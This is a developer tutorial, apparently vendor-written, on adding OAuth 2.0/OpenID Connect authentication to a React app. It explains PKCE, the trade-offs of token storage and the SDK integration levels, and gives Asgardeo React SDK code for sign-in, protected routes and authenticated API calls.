OpenID Connect is built directly on top of that same mechanism, and it answers a different question. OAuth 2.0 asks "can this app do this one thing for the user." OpenID Connect asks "who is this user, at all," and it answers that by adding one more thing to what comes back: a signed statement of identity, called an ID token, alongside the permission token OAuth 2.0 already provides. In other words, OAuth 2.0 gets your app permission, and OpenID Connect gets it a name to go with that permission, which is what lets it show a name instead of letting an anonymous visitor through.

Both standards describe their exchange as a flow, a fixed, numbered sequence of redirects and requests that your app, the browser, and the identity provider all follow in the same order. The word sounds abstract, but the reason it exists is concrete. If every login service invented its own redirect sequence, no two of them could be trusted the same way, and no library could support more than one. A shared flow is what lets any React app talk to any conformant identity provider using the same steps.

For a React single-page app, one flow is correct: the OAuth 2.0 authorization code flow with PKCE, defined in the OAuth2 core standard (RFC 6749) and extended for public clients like yours by Proof Key for Code Exchange by OAuth Public Clients standard - PKCE (RFC 7636). It's the same base flow that OpenID Connect layers identity on top of, so OAuth and OIDC describe the same exchange here.

Stripped down, that base flow is two redirects and one direct request. Your app sends the browser to the identity provider's sign-in page. The user proves who they are there. The identity provider sends the browser back to your app carrying a short-lived voucher, called an authorization code, rather than the actual tokens. Your app then contacts the identity provider a second time, directly rather than through the browser, hands over that code, and gets the real tokens back in exchange. A browser hop, then a direct request: that is the whole shape of it, and it is what "authorization code flow" refers to.

PKCE is what gets added to that shape for an application like yours that cannot hold a secret. At a high level, it replaces the password or client secret a server-side app would use with something your React app can safely generate on the spot: a value only it knows, and proof that it knows that value, checked by the identity provider before it hands over any tokens, which is what makes the flow above safe to run entirely in a browser.

The exact step-by-step mechanics of this exchange, including why the proof travels over two separate channels, get their own walkthrough in a future post in this series, "OAuth 2.0 and OIDC in React: The Authorization Code Flow with PKCE, Explained." What matters here is that this is the one flow to use, and the two sections below cover the two mistakes that actually happen in practice.

Why the implicit flow is gone​

Older tutorials use the implicit flow from OAuth 2.0, where the authorization server returns an access token directly in the redirect, in one step, skipping the two-step exchange described above. Best Current Practice for OAuth 2.0 Security (RFC 9700), published in January 2025 as the current security best practice for OAuth 2.0, is direct about it. Response types that issue access tokens in the authorization response "are vulnerable to access token leakage and access token replay," and clients "SHOULD NOT use the implicit grant ... unless access token injection in the authorization response is prevented and the aforementioned token leakage vectors are mitigated." In a browser you are not going to meet that exception, so read it as no.

The same document sets the floor for browser apps in one line: "Public clients MUST use PKCE," and "Authorization servers MUST support PKCE." A React app is a public client, so that MUST is yours. If a guide doesn't mention PKCE, it predates the requirement, whatever its publication date says.

What PKCE actually protects against​

PKCE has one job, and it isn't the one most developers assume. It doesn't protect the token, it protects the code. Where it came from matters here, because the reason a browser app needs it is not the reason it was invented.

PKCE standard was originally written for native and mobile apps, where a malicious app on the same device can register the same custom URI scheme and grab the code out of the redirect. PKCE standard is explicit that the browser's own redirect is TLS-protected and "cannot be intercepted." For a React app the threat PKCE closes is the one RFC 9700 names: authorization code injection, where an attacker feeds your app a code obtained somewhere else and lets your app redeem it. Without PKCE your app has no way to tell that the code it's exchanging is the code it asked for, which is why PKCE is a MUST for public clients rather than a native-app nicety.

Where tokens live, and why localStorage is usually wrong​

Access tokens are usually JWTs, and where to store JWTs in the browser is the most argued question in React authentication. Every option trades persistence against blast radius. localStorage persists across browser sessions, so it survives a closed browser entirely. sessionStorage lasts for the page session and clears when the tab closes. A web worker isolates tokens from the DOM, which makes it the most defensible of the three.

The short version: anything readable by JavaScript on your page is readable by injected JavaScript on your page. A React localStorage token is convenient and survives a refresh, and it's also the first place a cross-site scripting payload looks. That's not an argument for never using it, it's an argument for knowing what you accepted.

Stop at the first question you can answer yes to. Every step down the staircase costs you something.

No row in that table says "safe from XSS," and httpOnly is the row people misread. It stops a payload from reading the cookie, but not from making requests the browser attaches the cookie to, so the attacker still gets every authenticated action the user has without ever seeing the credential. The same caveat applies to the worker, since injected code in the main thread can ask the worker to make the call. Storage choice bounds what an attacker walks away with. It doesn't stop them acting as the user while the page is open.

One architecture is missing from that table because it removes the question rather than answering it. If your React app is served alongside a backend, the backend can hold the tokens and expose the session to the browser as an httpOnly cookie, which is the backend-for-frontend pattern. The IETF's browser-based-apps draft "strongly recommend[s]" it "for business applications, sensitive applications, and applications that handle personal data." It costs you a server. It buys you a browser that never holds a token at all.

Connecting your React app to an identity provider​

Everything so far has been about picking a provider. This section is about the seam between that provider and your code, and there are three distinct ways to build it. They are not three products. They are three levels of abstraction over the same OpenID Connect exchange, and the level you pick decides how much of that exchange stays your responsibility.

One thing to hold on to before the details, because it is what makes this choice low risk: all three speak the same protocol to the same identity provider. Moving between levels later means rewriting your integration code, not re-architecting your identity.

Level 1: Wire it at the protocol level​

You implement the OpenID Connect flow yourself. The dependency list is short, an OAuth 2.0 or OpenID Connect client library and something to parse and validate JSON web tokens, and past that the code is yours.

This is the minimalist option in dependency terms and the maximalist one in every other sense. You write the redirect to the authorization endpoint, the handling of the code that comes back, the exchange at the token endpoint, and the validation of what you receive. Then you own the part that outlasts the initial build: deciding where tokens live, noticing when an access token is about to expire, refreshing it without stranding in-flight requests, and clearing everything correctly on sign-out.

In practice, the cost is time, code you have to maintain, and a specific expertise your team has to keep. What you get back is that nothing is hidden from you and nothing ties you to one vendor's package. AI code generation can take some of that burden off you, but the expertise gap remains, because someone still has to know whether the generated code is right.

Pick this when you need to work against arbitrary OIDC providers rather than one, when a security review requires reading every line in the authentication path, or when no usable SDK exists for your provider. Avoid it when nobody on the team has implemented OIDC before, because the failure modes here are quiet ones that look like working software.

Level 2: A headless React SDK​

A vendor-provided or community React SDK that handles the protocol and leaves the interface to you. "Headless" is already the word React developers use for a library that ships behavior without markup, and it fits this exactly.

At this level the OIDC flow, token storage, and the token lifecycle all stop being yours. The SDK exposes hooks and utility functions you call from your own event handlers: something to start sign-in, something to sign out, and state telling you whether a user is signed in and who they are. Expiry and refresh happen underneath, and where the provider rotates refresh tokens the SDK absorbs that too, without your components ever knowing it happened.

What stays yours is every pixel. There are no components in the box, so the sign-in button, the profile panel, the loading state, and the error handling are all things you design and build.

Pick this when you have a design system that authentication has to live inside, or when the sign-in experience is part of your product rather than a doorway in front of it. Avoid it when what you would build is the ordinary set of components anyway, because then you are hand-making what the next level hands you.

Level 3: A React SDK with drop-in components​

The highest level of abstraction, and the least common of the three. Alongside the hooks, this kind of SDK ships finished React components: a sign-in component, a sign-out component, a user profile component, often named something like <SignIn />, <SignOut />, and <UserProfile />, styled and working the moment you place them in your tree. Configure your identity provider details once, drop the components where you want them, and you have a working authenticated application.

Styling is not the trade it sounds like, because these components are built to be restyled with your own stylesheet, so ready-made does not mean stuck with someone else's design. The real trade sits elsewhere. Your JSX now contains a vendor's component names, which is the tightest coupling of the three levels.

Two things stop that from becoming a trap. Anything the components do not expose can usually be reached by extending them, and the hooks from level two are still there underneath, so a single screen that needs full control can drop a level without the rest of your application following it.

Pick this when you want a working authenticated application in days rather than weeks, which is most of the time. Avoid it when you already know your requirements exceed what the components expose, because you will end up at level two having paid for the detour.

Comparing the three levels:

The pattern in that table is worth saying out loud. Moving up a level never buys you a different protocol. It buys you fewer things you are responsible for, and it charges you in coupling. That is the whole trade, and it is why the escape hatch in the last row matters more than the time saving in the row above it.

The rest of this guide works at level three and drops to level two wherever a section needs the raw state.

Wiring it up with WSO2 React SDK​

Now the code, because authentication in React JS ultimately comes down to a provider, a couple of hooks, and a redirect you have to respect. WSO2 Identity Platform publishes the Asgardeo React SDK under the @asgardeo npm scope, licensed Apache-2.0.

Install and configure React SDK​

The shape is a provider near the root of the tree holding configuration and session state, and two ways to read it. There are drop-in components for the common cases, and a hook when you want the state directly. The following commands show how to scaffold a React application and install the WSO2 React SDK.

npm create vite@latest wso2-react -- --template react
npm install @asgardeo/react

The React SDK provides the components and hooks required to integrate WSO2 Identity Platform into your application. Now that you have installed the React SDK in your project, the next step is to connect your React application to WSO2 Identity Platform by configuring the <AsgardeoProvider />.

The <AsgardeoProvider /> acts as the context provider for the React SDK. To integrate it, wrap your root component in the main.jsx file with <AsgardeoProvider />, as shown in the following code segment.

import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.jsx'
import { AsgardeoProvider } from '@asgardeo/react'

createRoot(document.getElementById('root')).render(
  <StrictMode>
    <AsgardeoProvider
      clientId="your-app-client-id"
      baseUrl="https://api.asgardeo.io/t/your-organization-name"
    >
      <App />
    </AsgardeoProvider>
  </StrictMode>
)

Two things to get right here rather than later. Redirect URLs must match what you registered on the application exactly, including trailing slashes, because a mismatch fails at the authorization server with an error that reads like a configuration bug somewhere else. And the scopes you request determine which claims come back, so if a username renders as undefined the fix is usually a missing scope, not a missing hook.

Sign in, sign out, and reading the user​

Now, let's use the drop-in components provided by the WSO2 Identity Platform React SDK to add login and logout functionality. Simply replace the contents of your App.jsx file with the following code:

import { SignedIn, SignedOut, SignInButton, SignOutButton, UserProfile } from '@asgardeo/react'
import './App.css'

function App() {
  return (
    <>
      <header>
        <SignedIn>
          <SignOutButton />
        </SignedIn>
        <SignedOut>
          <SignInButton />
        </SignedOut>
      </header>
      <main>
        <UserProfile />
      </main>
    </>
  )
}

export default App

The detail worth internalizing is that sign-in is a redirect, not a function call that returns a user. Your component unmounts, the browser leaves, and your app boots again on the way back with a code in the URL. Any state you were holding is gone unless you deliberately preserved it, which is why "my form data disappeared after login" is such a common first bug.

Protecting routes​

React protected routes are the most-copied pattern in React authentication and the least understood. Both React Router and TanStack Router give you the same primitive: a wrapper or loader that checks authentication state and redirects when it's absent.

The WSO2 SDK provides pluggable utilities that work with popular routing libraries such as React Router and TanStack Router. You can install one of these packages to secure the routes in your application by running one of the following commands:

npm install react-router-dom @asgardeo/react-router

In the following code, we use the <BrowserRouter>, <Routes>, and <Route> components to define the routing.

import { BrowserRouter, Routes, Route } from 'react-router-dom';
import { ProtectedRoute } from '@asgardeo/react-router';
import Dashboard from './pages/Dashboard';
import MyProfile from './pages/MyProfile';
import './App.css'

function App() {
  return (
    <header>
      <BrowserRouter>
        <Routes>
          <Route path="/" element={<Dashboard />} />
          <Route
            path="/profile"
            element={
              <ProtectedRoute>
                <MyProfile />
              </ProtectedRoute>
            }
          />
        </Routes>
      </BrowserRouter>
    </header>
  )
}

export default App

Preserving the intended destination is the part most implementations skip. If a user lands on a deep link, gets bounced to sign-in, and then arrives at your dashboard instead of the page they wanted, the flow technically works and still feels broken.

Calling a protected API from React​

Signing in is not the feature. The feature is the dashboard that lists this user's orders, the settings page that writes to this user's profile, and the export button only some accounts are allowed to press. React runs in the browser with no database connection of its own, so every one of those screens is an HTTP request to an API that has to decide whether to answer. Most React authentication guides stop at the login button, which is the point where the real work starts.

Who is responsible for what​

There are two sides to every authenticated request, and only one of them enforces anything.

The React column is transport. The API column is a decision. Your app proves who is asking, and your API works out what that person gets, by validating the token's signature against the provider's published signing keys, confirming the issuer and audience match what it expects, confirming the token has not expired, and confirming it carries the scope this endpoint requires. An API that skips those checks makes every other section of this guide irrelevant, because then an attacker can present a token you never issued.

The ID token is not the access token​

This is the most common bug in this part of the stack, and it deserves naming plainly because it usually ships undetected. Authentication returns two tokens and they have different audiences.

The ID token is about the user and it is for your application. It tells you who signed in and carries their claims, so decode it to render a name, an avatar, or a role-conditional menu. The access token is for your API. It is the credential your app presents to prove it may act on the user's behalf.

Sending an ID token to your API is wrong even on the days it appears to work. The ID token's audience is your React client and not your API, so an API that validates the audience correctly rejects it, and an API that accepts it has just told you it does not check. The SDK keeps the two apart on purpose: getIdToken and getDecodedIdToken return the identity, and getAccessToken returns the credential for the call.

There are three ways to attach a token to a request, and they are really three stages of the same realization.

The first is manual. You read the access token, build the header yourself, and call fetch. It works, it is what you would write against any OpenID Connect provider, and it is worth writing once so the mechanism is not magic. It is also where the bugs breed, because the moment you have a second component you have two copies of the expiry handling.

The second is a shared client. One module owns the token, attaches the header, and handles a 401 in a single place. Every application that starts with the first approach arrives here eventually.

The third is to use the client your SDK already ships, which is the second approach written for you. useAsgardeo returns an http object, and http.request attaches Authorization: Bearer with the current access token automatically, so a call looks close to the fetch you already write. There is also http.requestAll for firing several requests together.

import { useState } from 'react'
import { useAsgardeo } from '@asgardeo/react'

function MyProfile() {
  const { http, isSignedIn } = useAsgardeo();
  const [userData, setUserData] = useState(null);

  const getProfile = async () => {
    const response = await http.request({
      url: 'https://api.asgardeo.io/t/your-organization-name/scim2/Me',
      method: 'GET',
      headers: {
        'Accept': 'application/json',
        'Content-Type': 'application/scim+json',
      },
    });
    setUserData(response.data);
  };

  if (!isSignedIn) {
    return <div>Please sign in to view your profile.</div>;
  }

  return (
    <div>
      <h2>My Profile</h2>
      <button onClick={getProfile}>Get My Profile</button>
      {userData && (
        <div>
          <p>Given Name: {userData.name.givenName}</p>
          <p>Family Name: {userData.name.familyName}</p>
        </div>
      )}
    </div>
  )
}

export default MyProfile